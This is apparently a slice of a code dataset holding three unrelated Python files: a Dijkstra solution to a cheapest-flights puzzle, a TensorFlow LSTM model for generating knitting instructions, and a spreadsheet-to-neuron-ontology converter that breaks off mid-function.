- 1].\n# - There will not be any duplicated flights or self cycles.\n\nimport collections\nimport heapq\n\n\nclass Solution(object):\n # Dijkstra with dict\n def findCheapestPrice(self, n, flights, src, dst, K): # USE THIS\n graph = collections.defaultdict(dict)\n for u, v, w in flights:\n graph[u][v] = w\n\n best = {}\n heap = [[0, src, 0]] # cost, node, step\n while heap:\n cost, node, step = heapq.heappop(heap)\n if node == dst:\n return cost\n if (node, step) in best or step > K:\n continue\n best[node, step] = cost\n\n for nei, w in graph[node].items():\n if (nei, step + 1) not in best:\n heapq.heappush(heap, (cost + w, nei, step + 1))\n return -1\n\n # wrong: return 9 for 1st testcase. Each state must bre represented by (node, steps),\n # otherwise lower steps path is missing.\n def findCheapestPrice_wrong(self, n, flights, src, dst, K):\n graph = [{} for _ in range(n)]\n for u, v, w in flights:\n graph[u][v] = w\n\n best, pq = set(), [(0, src, 0)]\n while pq:\n p, node, stops = heapq.heappop(pq)\n if node == dst:\n return p\n\n if node not in best and stops <= K:\n best.add(node)\n\n for nei, w in graph[node].items():\n if nei not in best:\n heapq.heappush(pq, (p + w, nei, stops + 1))\n return -1\n\n # Dijkstra with list\n def findCheapestPrice2(self, n, flights, src, dst, K):\n graph = [{} for _ in range(n)]\n for u, v, p in flights:\n graph[u][v] = p\n\n # K stops means can move K+1 steps, store and update the best price for each step separately\n # no need to fill best[src][0] as 0 like stepless Dijkstra does, because we won't go back to overwrite step 0.\n best = [[float('inf')] * (K + 2) for _ in range(n)]\n minHeap = [(0, src, 0)] # (price, node-to-reach, step-needed)\n while minHeap:\n price, node, step = heapq.heappop(minHeap)\n if node == dst:\n return price\n if step > K or price > best[node][step]: # prune\n continue\n for nei, p in graph[node].items():\n if price + p < best[nei][step + 1]:\n heapq.heappush(minHeap, (price + p, nei, step + 1))\n best[nei][step + 1] = price + p\n\n return -1\n\n\n def findCheapestPrice_kamyu(self, n, flights, src, dst, K):\n \"\"\"\n :type n: int\n :type flights: List[List[int]]\n :type src: int\n :type dst: int\n :type K: int\n :rtype: int\n \"\"\"\n adj = collections.defaultdict(list)\n for u, v, w in flights:\n adj[u].append((v, w))\n best = collections.defaultdict(lambda: collections.defaultdict(lambda: float(\"inf\")))\n min_heap = [(0, src, K+1)]\n while min_heap:\n result, u, k = heapq.heappop(min_heap)\n if k < 0 or best[u][k] < result:\n continue\n if u == dst:\n return result\n for v, w in adj[u]:\n if result+w < best[v][k-1]:\n best[v][k-1] = result+w \n heapq.heappush(min_heap, (result+w, v, k-1))\n return -1\n\nprint(Solution().findCheapestPrice(5,\n [[0,1,5],[1,2,5],[0,3,2],[3,1,2],[1,4,1],[4,2,1]], 0, 2, 2)) # 7\nprint(Solution().findCheapestPrice(3, [[0,1,100],[1,2,100],[0,2,500],[1,0,600]], 0, 2, 1)) # 200\nprint(Solution().findCheapestPrice(3, [[0,1,100],[1,2,100],[0,2,500]], 0, 2, 0)) # 500", "sub_path": "Python/cheapest-flights-within-k-stops.py", "file_name": "cheapest-flights-within-k-stops.py", "file_ext": "py", "file_size_in_byte": 4993, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "collections.defaultdict", "line_number": 43, "usage_type": "call"}, {"api_name": "heapq.heappop", "line_number": 50, "usage_type": "call"}, {"api_name": "heapq.heappush", "line_number": 59, "usage_type": "call"}, {"api_name": "heapq.heappop", "line_number": 71, "usage_type": "call"}, {"api_name": "heapq.heappush", "line_number": 80, "usage_type": "call"}, {"api_name": "heapq.heappop", "line_number": 94, "usage_type": "call"}, {"api_name": "heapq.heappush", "line_number": 101, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 116, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 119, "usage_type": "call"}, {"api_name": "heapq.heappop", "line_number": 122, "usage_type": "call"}, {"api_name": "heapq.heappush", "line_number": 130, "usage_type": "call"}]} +{"seq_id": "553365020", "text": "#!/usr/bin/env python\n\"\"\"\nRepresentation of the knitting instructions language model.\n\"\"\"\n\nfrom utilities import create_path_if_doesnt_exist\nfrom lexicon import Lexicon\nimport os\nimport errno\nimport json\n\nimport tensorflow as tf\nimport logging\n\n\nclass Model(object):\n \"\"\"\n Base class for the knitting instructions language model.\n\n Parameters\n ----------\n folder : str\n Folder where to save the model.\n lexicon : Lexicon, optional\n A previously compiled lexicon to use.\n graph : tf.Graph, optional\n A previously created Tensorflow graph to use.\n \"\"\"\n def __init__(self, folder, lexicon=None, graph=None):\n self.folder = folder\n self.lexicon = lexicon\n self.graph = graph\n create_path_if_doesnt_exist(folder)\n\n self.features = None\n self.prediction_indices = None\n self.prediction_probabilities = None\n\n def initialize(self, session):\n \"\"\"\n Initialize a session for the model.\n\n Parameters\n ----------\n session : tf.Session\n The session to initialize.\n \"\"\"\n pass\n\n\nclass TrainingModel(Model):\n \"\"\"\n A trainable knitting instructions language model. Can be trained, but is heavy.\n\n Parameters\n ----------\n training_data : TrainingData\n The training data used to generate the model, if starting from scratch.\n \"\"\"\n def __init__(self, folder, lexicon=None, graph=None, training_data=None):\n super(TrainingModel, self).__init__(folder, lexicon, graph)\n self.training_data = training_data\n\n self.latest_checkpoint_path = None\n\n self.responses = None\n self.loss = None\n self.perplexity = None\n self.minimize = None\n self.step = None\n\n self.saver = None\n\n def load(self):\n \"\"\"\n Load the model either from the provided lexicon and graph, or from saved files (if they exist), or by compiling\n it from scratch using data.\n \"\"\"\n if not self.lexicon:\n try:\n logging.info(\"[Importing lexicon]\")\n with open(os.path.join(self.folder, \"lexicon.json\"), 'r') as lexicon_file:\n self.lexicon = Lexicon(json.load(lexicon_file))\n except IOError as exception:\n if exception.errno == errno.ENOENT:\n logging.info(\"[Compiling lexicon]\")\n self.lexicon = self.training_data.compile_lexicon()\n with open(os.path.join(self.folder, \"lexicon.json\"), 'w') as lexicon_file:\n json.dump(self.lexicon.tokens, lexicon_file)\n else:\n raise\n\n if not self.graph:\n self.latest_checkpoint_path = tf.train.latest_checkpoint(self.folder)\n if self.latest_checkpoint_path is not None:\n logging.info(\"[Importing graph]\")\n self.saver = tf.train.import_meta_graph(self.latest_checkpoint_path + '.meta')\n else:\n logging.info(\"[Building graph]\")\n self.build_default_graph()\n self.graph = tf.get_default_graph()\n\n self.features = self.graph.get_tensor_by_name(\"input/features:0\")\n self.prediction_indices = self.graph.get_tensor_by_name(\"output/prediction_indices:0\")\n self.prediction_probabilities = self.graph.get_tensor_by_name(\"output/prediction_probabilities:0\")\n self.responses = self.graph.get_tensor_by_name(\"output/responses:0\")\n self.loss = self.graph.get_tensor_by_name(\"output/loss:0\")\n self.perplexity = self.graph.get_tensor_by_name(\"output/perplexity:0\")\n self.minimize = self.graph.get_tensor_by_name(\"operations/minimize:0\")\n self.step = self.graph.get_tensor_by_name(\"step:0\")\n\n if not self.saver:\n self.saver = tf.train.Saver()\n\n def build_default_graph(self):\n \"\"\"\n Build a new Tensorflow graph and set it as the default.\n \"\"\"\n lexicon_size = len(self.lexicon.tokens)\n embedding_size = 200\n memory_size = 200\n\n lstm_cell = tf.nn.rnn_cell.LSTMCell(memory_size)\n\n tf.reset_default_graph()\n padding = tf.constant(self.lexicon.padding_index)\n with tf.name_scope('input'):\n features = tf.placeholder(tf.int32, shape=[None, None], name=\"features\")\n sequence_lengths = tf.reduce_sum(tf.to_int32(tf.not_equal(features, padding)), axis=1)\n\n with tf.device(\"/cpu:0\"):\n embedding = tf.get_variable(\"embedding\", shape=[lexicon_size, embedding_size],\n initializer=tf.contrib.layers.xavier_initializer(), dtype=tf.float32)\n embedded_features = tf.nn.embedding_lookup(embedding, features)\n\n with tf.name_scope('lstm') as scope:\n lstm_activations, _ = \\\n tf.nn.dynamic_rnn(lstm_cell, embedded_features, sequence_length=sequence_lengths, scope=scope,\n dtype=tf.float32)\n flattened_lstm_activations = tf.reshape(lstm_activations, [-1, memory_size])\n\n with tf.name_scope('output'):\n weights = tf.get_variable(\"weights\", shape=[memory_size, lexicon_size],\n initializer=tf.contrib.layers.xavier_initializer())\n bias = tf.get_variable(\"bias\", shape=[1, lexicon_size],\n initializer=tf.contrib.layers.xavier_initializer())\n flat_units = tf.matmul(flattened_lstm_activations, weights) + bias\n\n responses = tf.placeholder(tf.int32, shape=[None, None], name=\"responses\")\n flat_responses = tf.reshape(responses, [-1])\n flat_losses = tf.nn.sparse_softmax_cross_entropy_with_logits(flat_units, flat_responses)\n\n mask = tf.to_float(tf.not_equal(features, padding))\n flat_mask = tf.reshape(mask, [-1])\n\n masked_losses = tf.reshape(flat_losses * flat_mask, tf.shape(features))\n loss = tf.reduce_mean(tf.reduce_sum(masked_losses, 1) / tf.to_float(sequence_lengths), name=\"loss\")\n perplexity = tf.exp(loss, name=\"perplexity\")\n\n units = tf.reshape(flat_units, tf.concat(0, [tf.shape(features), [lexicon_size]]))\n final_units = self.end_of_sequences(units, sequence_lengths)\n\n prediction_indices = tf.tile(tf.reshape(tf.range(lexicon_size), [1, -1]), [tf.shape(features)[0], 1],\n name=\"prediction_indices\")\n prediction_probabilities = tf.nn.softmax(final_units, name=\"prediction_probabilities\")\n\n with tf.name_scope(\"operations\"):\n step = tf.get_variable(\"step\", shape=[], initializer=tf.constant_initializer(0), trainable=False)\n minimize = tf.train.AdamOptimizer().minimize(loss, global_step=step, name=\"minimize\")\n\n @staticmethod\n def end_of_sequences(tensor, sequence_lengths):\n \"\"\"\n Utility function to select the end of sequences in a batch padded sequence tensor.\n\n Parameters\n ----------\n tensor : tf.Tensor\n The batch padded sequence tensor.\n sequence_lengths : tf.Tensor\n The lengths of every sentence in the batch.\n\n Returns\n -------\n The tensors at the end of the sequence, i.e.\n [tensor[0, sequence_lengths[0], :], ..., tensor[-1, sequence_lengths[-1], :]]\n \"\"\"\n sequences_range = tf.reshape(tf.range(0, tf.shape(tensor)[0], dtype=tf.int32), shape=[-1, 1])\n sequence_lengths = tf.reshape(sequence_lengths, shape=[-1, 1])\n indices = tf.concat(1, [sequences_range, sequence_lengths - 1])\n ends_of_sequences = tf.gather_nd(tensor, indices)\n return ends_of_sequences\n\n def initialize(self, session):\n if self.latest_checkpoint_path:\n logging.info(\"[Restoring previous checkpoint]\")\n self.saver.restore(session, self.latest_checkpoint_path)\n else:\n logging.info(\"[Initializing session]\")\n session.run(tf.global_variables_initializer())\n\n def save(self, session):\n \"\"\"\n Save a snapshot of the model in a session.\n\n Parameters\n ----------\n session : tf.Session\n The session that provides the snapshot.\n \"\"\"\n logging.info(\"[Saving checkpoint]\")\n with open(os.path.join(self.folder, \"lexicon.json\"), 'w') as lexicon_file:\n json.dump(self.lexicon.tokens, lexicon_file)\n self.saver.save(session, os.path.join(self.folder, 'generator'))\n\n def export_for_production(self, folder, session):\n \"\"\"\n Turn the model into a production model, by freezing variables into constants and removing training nodes.\n\n Parameters\n ----------\n folder : str\n The folder where to save the production model.\n session : tf.Session\n The session from which to fetch the variable values.\n\n Returns\n -------\n ProductionModel\n The production-ready model.\n \"\"\"\n logging.info(\"[Exporting final model]\")\n frozen_graph_def = tf.python.graph_util.convert_variables_to_constants(\n sess=session, input_graph_def=self.graph.as_graph_def(),\n output_node_names=[\"output/prediction_indices\", \"output/prediction_probabilities\"])\n tf.reset_default_graph()\n tf.import_graph_def(frozen_graph_def, name='')\n return ProductionModel(folder, lexicon=self.lexicon, graph=tf.get_default_graph())\n\n\nclass ProductionModel(Model):\n \"\"\"\n A production-ready knitting instructions language model. Cannot be trained further, but is light.\n \"\"\"\n def __init__(self, folder, lexicon=None, graph=None):\n super(ProductionModel, self).__init__(folder, lexicon, graph)\n\n def load(self):\n \"\"\"\n Load the model either from the provided lexicon and graph, or from saved files (if they exist).\n \"\"\"\n if not self.lexicon:\n try:\n logging.info(\"[Loading lexicon]\")\n with open(os.path.join(self.folder, \"lexicon.json\"), 'r') as lexicon_file:\n self.lexicon = Lexicon(json.load(lexicon_file))\n except IOError as exception:\n if exception.errno == errno.ENOENT:\n raise IOError(\"Cannot find the lexicon file. A production model cannot generate its lexicon.\")\n else:\n raise\n\n if not self.graph:\n logging.info(\"[Loading graph]\")\n with tf.gfile.GFile(os.path.join(self.folder, \"graph.pb\"), \"rb\") as graph_file:\n graph_def = tf.GraphDef()\n graph_def.ParseFromString(graph_file.read())\n tf.import_graph_def(graph_def, name=\"\")\n self.graph = tf.get_default_graph()\n\n self.features = self.graph.get_tensor_by_name(\"input/features:0\")\n self.prediction_indices = self.graph.get_tensor_by_name(\"output/prediction_indices:0\")\n self.prediction_probabilities = self.graph.get_tensor_by_name(\"output/prediction_probabilities:0\")\n\n def save(self):\n \"\"\"\n Save the model to the folder.\n \"\"\"\n logging.info(\"[Saving model]\")\n with open(os.path.join(self.folder, \"lexicon.json\"), 'w') as lexicon_file:\n json.dump(self.lexicon.tokens, lexicon_file)\n with tf.gfile.GFile(os.path.join(self.folder, 'graph.pb'), \"wb\") as file_handle:\n file_handle.write(self.graph.as_graph_def().SerializeToString())\n", "sub_path": "generator/model.py", "file_name": "model.py", "file_ext": "py", "file_size_in_byte": 11590, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "utilities.create_path_if_doesnt_exist", "line_number": 33, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 81, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 82, "usage_type": "call"}, {"api_name": "os.path", "line_number": 82, "usage_type": "attribute"}, {"api_name": "lexicon.Lexicon", "line_number": 83, "usage_type": "call"}, {"api_name": "json.load", "line_number": 83, "usage_type": "call"}, {"api_name": "errno.ENOENT", "line_number": 85, "usage_type": "attribute"}, {"api_name": "logging.info", "line_number": 86, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 88, "usage_type": "call"}, {"api_name": "os.path", "line_number": 88, "usage_type": "attribute"}, {"api_name": "json.dump", "line_number": 89, "usage_type": "call"}, {"api_name": "tensorflow.train.latest_checkpoint", "line_number": 94, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 94, "usage_type": "attribute"}, {"api_name": "logging.info", "line_number": 96, "usage_type": "call"}, {"api_name": "tensorflow.train.import_meta_graph", "line_number": 97, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 97, "usage_type": "attribute"}, {"api_name": "logging.info", "line_number": 99, "usage_type": "call"}, {"api_name": "tensorflow.get_default_graph", "line_number": 101, "usage_type": "call"}, {"api_name": "tensorflow.train.Saver", "line_number": 113, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 113, "usage_type": "attribute"}, {"api_name": "tensorflow.nn.rnn_cell.LSTMCell", "line_number": 123, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 123, "usage_type": "attribute"}, {"api_name": "tensorflow.reset_default_graph", "line_number": 125, "usage_type": "call"}, {"api_name": "tensorflow.constant", "line_number": 126, "usage_type": "call"}, {"api_name": "tensorflow.name_scope", "line_number": 127, "usage_type": "call"}, {"api_name": "tensorflow.placeholder", "line_number": 128, "usage_type": "call"}, {"api_name": "tensorflow.int32", "line_number": 128, "usage_type": "attribute"}, {"api_name": "tensorflow.reduce_sum", "line_number": 129, "usage_type": "call"}, {"api_name": "tensorflow.to_int32", "line_number": 129, "usage_type": "call"}, {"api_name": "tensorflow.not_equal", "line_number": 129, "usage_type": "call"}, {"api_name": "tensorflow.device", "line_number": 131, "usage_type": "call"}, {"api_name": "tensorflow.get_variable", "line_number": 132, "usage_type": "call"}, {"api_name": "tensorflow.contrib.layers.xavier_initializer", "line_number": 133, "usage_type": "call"}, {"api_name": "tensorflow.contrib", "line_number": 133, "usage_type": "attribute"}, {"api_name": "tensorflow.float32", "line_number": 133, "usage_type": "attribute"}, {"api_name": "tensorflow.nn.embedding_lookup", "line_number": 134, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 134, "usage_type": "attribute"}, {"api_name": "tensorflow.name_scope", "line_number": 136, "usage_type": "call"}, {"api_name": "tensorflow.nn.dynamic_rnn", "line_number": 138, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 138, "usage_type": "attribute"}, {"api_name": "tensorflow.float32", "line_number": 139, "usage_type": "attribute"}, {"api_name": "tensorflow.reshape", "line_number": 140, "usage_type": "call"}, {"api_name": "tensorflow.name_scope", "line_number": 142, "usage_type": "call"}, {"api_name": "tensorflow.get_variable", "line_number": 143, "usage_type": "call"}, {"api_name": "tensorflow.contrib.layers.xavier_initializer", "line_number": 144, "usage_type": "call"}, {"api_name": "tensorflow.contrib", "line_number": 144, "usage_type": "attribute"}, {"api_name": "tensorflow.get_variable", "line_number": 145, "usage_type": "call"}, {"api_name": "tensorflow.contrib.layers.xavier_initializer", "line_number": 146, "usage_type": "call"}, {"api_name": "tensorflow.contrib", "line_number": 146, "usage_type": "attribute"}, {"api_name": "tensorflow.matmul", "line_number": 147, "usage_type": "call"}, {"api_name": "tensorflow.placeholder", "line_number": 149, "usage_type": "call"}, {"api_name": "tensorflow.int32", "line_number": 149, "usage_type": "attribute"}, {"api_name": "tensorflow.reshape", "line_number": 150, "usage_type": "call"}, {"api_name": "tensorflow.nn.sparse_softmax_cross_entropy_with_logits", "line_number": 151, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 151, "usage_type": "attribute"}, {"api_name": "tensorflow.to_float", "line_number": 153, "usage_type": "call"}, {"api_name": "tensorflow.not_equal", "line_number": 153, "usage_type": "call"}, {"api_name": "tensorflow.reshape", "line_number": 154, "usage_type": "call"}, {"api_name": "tensorflow.reshape", "line_number": 156, "usage_type": "call"}, {"api_name": "tensorflow.shape", "line_number": 156, "usage_type": "call"}, {"api_name": "tensorflow.reduce_mean", "line_number": 157, "usage_type": "call"}, {"api_name": "tensorflow.reduce_sum", "line_number": 157, "usage_type": "call"}, {"api_name": "tensorflow.to_float", "line_number": 157, "usage_type": "call"}, {"api_name": "tensorflow.exp", "line_number": 158, "usage_type": "call"}, {"api_name": "tensorflow.reshape", "line_number": 160, "usage_type": "call"}, {"api_name": "tensorflow.concat", "line_number": 160, "usage_type": "call"}, {"api_name": "tensorflow.shape", "line_number": 160, "usage_type": "call"}, {"api_name": "tensorflow.tile", "line_number": 163, "usage_type": "call"}, {"api_name": "tensorflow.reshape", "line_number": 163, "usage_type": "call"}, {"api_name": "tensorflow.range", "line_number": 163, "usage_type": "call"}, {"api_name": "tensorflow.shape", "line_number": 163, "usage_type": "call"}, {"api_name": "tensorflow.nn.softmax", "line_number": 165, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 165, "usage_type": "attribute"}, {"api_name": "tensorflow.name_scope", "line_number": 167, "usage_type": "call"}, {"api_name": "tensorflow.get_variable", "line_number": 168, "usage_type": "call"}, {"api_name": "tensorflow.constant_initializer", "line_number": 168, "usage_type": "call"}, {"api_name": "tensorflow.train.AdamOptimizer", "line_number": 169, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 169, "usage_type": "attribute"}, {"api_name": "tensorflow.reshape", "line_number": 188, "usage_type": "call"}, {"api_name": "tensorflow.range", "line_number": 188, "usage_type": "call"}, {"api_name": "tensorflow.shape", "line_number": 188, "usage_type": "call"}, {"api_name": "tensorflow.int32", "line_number": 188, "usage_type": "attribute"}, {"api_name": "tensorflow.reshape", "line_number": 189, "usage_type": "call"}, {"api_name": "tensorflow.concat", "line_number": 190, "usage_type": "call"}, {"api_name": "tensorflow.gather_nd", "line_number": 191, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 196, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 199, "usage_type": "call"}, {"api_name": "tensorflow.global_variables_initializer", "line_number": 200, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 211, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 212, "usage_type": "call"}, {"api_name": "os.path", "line_number": 212, "usage_type": "attribute"}, {"api_name": "json.dump", "line_number": 213, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 214, "usage_type": "call"}, {"api_name": "os.path", "line_number": 214, "usage_type": "attribute"}, {"api_name": "logging.info", "line_number": 232, "usage_type": "call"}, {"api_name": "tensorflow.python.graph_util.convert_variables_to_constants", "line_number": 233, "usage_type": "call"}, {"api_name": "tensorflow.python", "line_number": 233, "usage_type": "attribute"}, {"api_name": "tensorflow.reset_default_graph", "line_number": 236, "usage_type": "call"}, {"api_name": "tensorflow.import_graph_def", "line_number": 237, "usage_type": "call"}, {"api_name": "tensorflow.get_default_graph", "line_number": 238, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 254, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 255, "usage_type": "call"}, {"api_name": "os.path", "line_number": 255, "usage_type": "attribute"}, {"api_name": "lexicon.Lexicon", "line_number": 256, "usage_type": "call"}, {"api_name": "json.load", "line_number": 256, "usage_type": "call"}, {"api_name": "errno.ENOENT", "line_number": 258, "usage_type": "attribute"}, {"api_name": "logging.info", "line_number": 264, "usage_type": "call"}, {"api_name": "tensorflow.gfile.GFile", "line_number": 265, "usage_type": "call"}, {"api_name": "tensorflow.gfile", "line_number": 265, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 265, "usage_type": "call"}, {"api_name": "os.path", "line_number": 265, "usage_type": "attribute"}, {"api_name": "tensorflow.GraphDef", "line_number": 266, "usage_type": "call"}, {"api_name": "tensorflow.import_graph_def", "line_number": 268, "usage_type": "call"}, {"api_name": "tensorflow.get_default_graph", "line_number": 269, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 279, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 280, "usage_type": "call"}, {"api_name": "os.path", "line_number": 280, "usage_type": "attribute"}, {"api_name": "json.dump", "line_number": 281, "usage_type": "call"}, {"api_name": "tensorflow.gfile.GFile", "line_number": 282, "usage_type": "call"}, {"api_name": "tensorflow.gfile", "line_number": 282, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 282, "usage_type": "call"}, {"api_name": "os.path", "line_number": 282, "usage_type": "attribute"}]} +{"seq_id": "16919437", "text": "import rdflib # FIXME decouple\nimport ontquery as oq\nfrom hyputils.hypothesis import idFromShareLink, shareLinkFromId\nfrom pyontutils.sheets import update_sheet_values, get_note, Sheet\nfrom pyontutils.scigraph import Vocabulary\nfrom pyontutils.namespaces import ilxtr, TEMP, definition\nfrom pyontutils.closed_namespaces import rdfs, rdf\nfrom neurondm import NeuronCUT, Config, Phenotype, LogicalPhenotype\nfrom neurondm.models.cuts import make_cut_id, fixname\nfrom neurondm.core import log, OntId, OntTerm\n\n\ndef normalizeDoi(doi):\n if 'http' in doi:\n doi = '10.' + doi.split('.org/10.', 1)[-1]\n elif doi.startswith('doi:'):\n doi = doi.strip('doi:')\n elif doi.startswith('DOI:'):\n doi = doi.strip('DOI:')\n return doi\n\n\ndef select_by_curie_rank(results):\n ranking = 'CHEBI', 'UBERON', 'PR', 'NCBIGene', 'NCBITaxon', 'GO', 'SAO', 'NLXMOL'\n def key(result):\n if 'curie' in result:\n curie = result['curie']\n else:\n return len(results) * 3\n\n prefix, _ = curie.split(':')\n if prefix in ranking:\n try:\n return ranking.index(result['curie'])\n except ValueError:\n return len(results) + 1\n else:\n return len(results) * 2\n\n return sorted(results, key=key)[0]\n\n\ndef process_note(raw_note):\n if raw_note is None:\n return None\n p = ilxtr.literatureCitation\n for bit in (b.strip() for b in raw_note.split('\\n') if b.strip()):\n maybe_hypothesis = idFromShareLink(bit)\n if maybe_hypothesis:\n # TODO getDocInfoFromHypothesisId(maybe_hypothesis)\n yield p, rdflib.URIRef(shareLinkFromId(maybe_hypothesis))\n elif 'doi:' in bit or 'DOI:' in bit or 'doi.org' in bit:\n yield p, rdflib.URIRef('https://doi.org/' + normalizeDoi(bit))\n elif bit.startswith('http'): # TODO parse the other things\n yield p, rdflib.URIRef(bit)\n else:\n yield p, rdflib.Literal(bit) # FIXME cull editorial notes\n\n\ndef sheet_to_neurons(values, notes_index, expect_pes):\n # TODO import existing ids to register by label\n sgv = Vocabulary()\n e_config = Config('common-usage-types')\n e_config.load_existing()\n query = oq.OntQuery(oq.plugin.get('rdflib')(e_config.core_graph), instrumented=OntTerm)\n # FIXME clear use case for the remaining bound to whatever query produced it rather\n # than the other way around ... how to support this use case ...\n existing = {str(n.origLabel):n for n in e_config.neurons()}\n def convert_header(header):\n if header.startswith('has'): # FIXME use a closed namespace\n return ilxtr[header]\n else:\n return None\n\n def convert_other(header):\n if header == 'label':\n return rdfs.label\n elif header == 'curie':\n return rdf.type\n elif header == 'definition':\n return definition\n else:\n header = header.replace(' ', '_')\n return TEMP[header] # FIXME\n\n def mapCell(cell, syns=False):\n search_prefixes = ('UBERON', 'CHEBI', 'PR', 'NCBITaxon', 'NCBIGene', 'ilxtr', 'NIFEXT', 'SAO', 'NLXMOL',\n 'BIRNLEX',)\n\n if ':' in cell and ' ' not in cell:\n log.debug(cell)\n if 'http' in cell:\n if cell.startswith('http'):\n t = OntTerm(iri=cell)\n else:\n return None, None # garbage with http inline\n else:\n t = OntTerm(cell, exclude_prefix=('FMA',)) # FIXME need better error message in ontquery\n\n return t.u, t.label\n\n result = [r for r in sgv.findByTerm(cell, searchSynonyms=syns, prefix=search_prefixes)\n if not r['deprecated']]\n #printD(cell, result)\n if not result:\n log.debug(f'{cell}')\n maybe = list(query(label=cell, exclude_prefix=('FMA',)))\n if maybe:\n qr = maybe[0]\n return qr.OntTerm.u, qr.label\n elif not syns:\n return mapCell(cell, syns=True)\n else:\n return None, None\n elif len(result) > 1:\n #printD('WARNING', result)\n result = select_by_curie_rank(result)\n else:\n result = result[0]\n\n return rdflib.URIRef(result['iri']), result['labels'][0]\n\n def lower_check(label, cell):\n return label not in cell and label.lower() not in cell.lower() # have to handle comma sep case\n\n lnlu = {v:k for k, v in LogicalPhenotype.local_names.items()}\n def convert_cell(cell_or_comma_sep):\n #printD('CONVERTING', cell_or_comma_sep)\n for cell_w_junk in cell_or_comma_sep.split(','): # XXX WARNING need a way to alter people to this\n cell = cell_w_junk.strip()\n if cell.startswith('(OR') or cell.startswith('(AND'):\n start, *middle, end = cell.split('\" \"')\n OPoperator, first = start.split(' \"')\n operator = OPoperator[1:]\n operator = lnlu[operator]\n last, CP = end.rsplit('\"')\n iris, labels = [], []\n for term in (first, *middle, last):\n iri, label = mapCell(term)\n if label is None:\n label = cell_or_comma_sep\n iris.append(iri)\n labels.append(label)\n\n yield (operator, *iris), tuple(labels)\n\n else:\n iri, label = mapCell(cell)\n if label is None:\n yield iri, cell_or_comma_sep # FIXME need a way to handle this that doesn't break things?\n else:\n yield iri, label\n\n config = Config('cut-roundtrip')\n skip = 'alignment label',\n headers, *rows = values\n errors = []\n new = []\n release = []\n for i, neuron_row in enumerate(rows):\n id = None\n label_neuron = None\n definition_neuron = None\n synonyms_neuron = None\n current_neuron = None\n phenotypes = []\n do_release = False\n predicate_notes = {}\n object_notes = {}\n other_notes = {}\n wat = {}\n for j, (header, cell) in enumerate(zip(headers, neuron_row)):\n notes = list(process_note(get_note(i + 1, j, notes_index))) # + 1 since headers is removed\n if notes and not header.startswith('has'):\n _predicate = convert_other(header)\n if cell:\n _object = rdflib.Literal(cell) # FIXME curies etc.\n else:\n _object = rdf.nil\n other_notes[_predicate, _object] = notes\n\n if header == 'curie':\n id = OntId(cell).u if cell else None\n continue\n elif header == 'label':\n label_neuron = cell\n if cell in existing:\n current_neuron = existing[cell]\n elif cell:\n # TODO\n new.append(cell)\n else:\n raise ValueError(cell) # wat\n continue\n elif header == 'Status':\n # TODO\n if cell == 'Yes':\n do_release = True\n elif cell == 'Maybe':\n pass\n elif cell == 'Not yet':\n pass\n elif cell == 'Delete':\n pass\n else:\n pass\n\n continue\n elif header == 'PMID':\n # TODO\n continue\n elif header == 'Other reference':\n # TODO\n continue\n elif header == 'Other label':\n # TODO\n continue\n elif header == 'definition':\n continue # FIXME single space differences between the spreadsheet and the source\n\n if cell:\n definition_neuron = rdflib.Literal(cell)\n\n continue\n\n elif header == 'synonyms':\n if cell:\n synonyms_neuron = [rdflib.Literal(s.strip())\n # FIXME bare comma is extremely dangerous\n for s in cell.split(',')]\n\n continue\n elif header in skip:\n continue\n\n objects = []\n if cell:\n predicate = convert_header(header)\n if predicate is None:\n log.debug(f'{(header, cell, notes)}')\n\n for object, label in convert_cell(cell):\n if isinstance(label, tuple): # LogicalPhenotype case\n _err = []\n for l in label:\n if lower_check(l, cell):\n _err.append((cell, label))\n if _err:\n errors.extend(_err)\n else:\n objects.append(object)\n elif lower_check(label, cell):\n errors.append((cell, label))\n elif str(id) == object:\n errors.append((header, cell, object, label))\n object = None\n else:\n objects.append(object)\n\n if notes:\n # FIXME this is a hack to only attach to the last value\n # since we can't distinguish at the moment\n wat[predicate, object] = notes\n if object is not None:\n # object aka iri can be none if we don't find anything\n object_notes[object] = notes\n else:\n predicate_notes[predicate] = notes\n # FIXME it might also be simpler in some cases\n # to have this be object_notes[object] = notes\n # because we are much less likely to have the same\n # phenotype appear attached to the different dimensions\n\n # FIXME comma sep is weak here because the\n # reference is technically ambiguous\n # might be an argument for the denormalized form ...\n # or perhaps having another sheet for cases like that\n\n else:\n continue\n\n if predicate and objects:\n for object in objects: # FIXME has layer location phenotype\n if isinstance(object, tuple):\n op, *rest = object\n pes = (Phenotype(r, predicate) for r in rest) # FIXME nonhomogenous phenotypes\n phenotypes.append(LogicalPhenotype(op, *pes))\n elif object:\n phenotypes.append(Phenotype(object, predicate))\n else:\n errors.append((object, predicate, cell))\n elif objects:\n errors.append((header, objects))\n else:\n errors.append((header, cell))\n # translate header -> predicate\n # translate cell value to ontology id\n\n if current_neuron and phenotypes:\n # TODO merge current with changes\n # or maybe we just replace since all the phenotypes should be there?\n log.debug(phenotypes)\n if id is not None:\n log.debug(f'{(id, 